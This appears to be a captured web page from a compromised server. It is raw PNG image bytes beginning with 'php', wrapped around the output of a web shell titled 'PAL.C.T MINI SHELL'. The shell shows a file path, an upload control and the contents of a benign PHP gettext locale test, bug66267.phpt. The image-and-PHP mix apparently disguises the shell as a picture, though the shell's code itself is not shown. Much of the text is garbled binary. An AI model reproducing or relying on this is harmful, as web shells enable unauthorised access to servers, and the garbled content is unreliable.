php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/php-7.0.1/ext/gettext/tests/
upload
files >> //opt/php-7.0.1/ext/gettext/tests/bug66267.phpt

--TEST--
#66265: gettext doesn't switch locales within the same script
--SKIPIF--
<?php
if (!extension_loaded("gettext")) {
	die("skip\n");
}
if (PHP_ZTS) {
	/* this is supposed to fail on the TS build at least on Windows,
	should be even XFAIL till it's fixed there */
	die("skip NTS only");
}
if (substr(PHP_OS, 0, 3) != 'WIN') {
	$loc = ["de_DE", "fr_FR", "en_US"];
	foreach($loc as $l) {
		if (!setlocale(LC_ALL, $l)) {
			die("SKIP '$l' locale not supported.");
		}
	}
}
?>
--FILE--
<?php

$domain = 'domain';

$loc = ["de_DE", "fr_FR", "en_US"];

foreach ($loc as $l) {
	putenv("LC_ALL=$l");
	setlocale(LC_ALL, $l);

	$path = realpath(dirname(__FILE__) . DIRECTORY_SEPARATOR . "66265");
	bindtextdomain($domain, $path);
	bind_textdomain_codeset($domain, "UTF-8");
	textdomain($domain);

	echo 'LC_ALL=', getenv('LC_ALL'), "\n";
	echo 'hello=', _('hello'), "\n";
	echo "\n";
}

?>
==DONE==
--EXPECTF--
LC_ALL=de_DE
hello=hallo

LC_ALL=fr_FR
hello=salut

LC_ALL=en_US
hello=hello

==DONE==

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`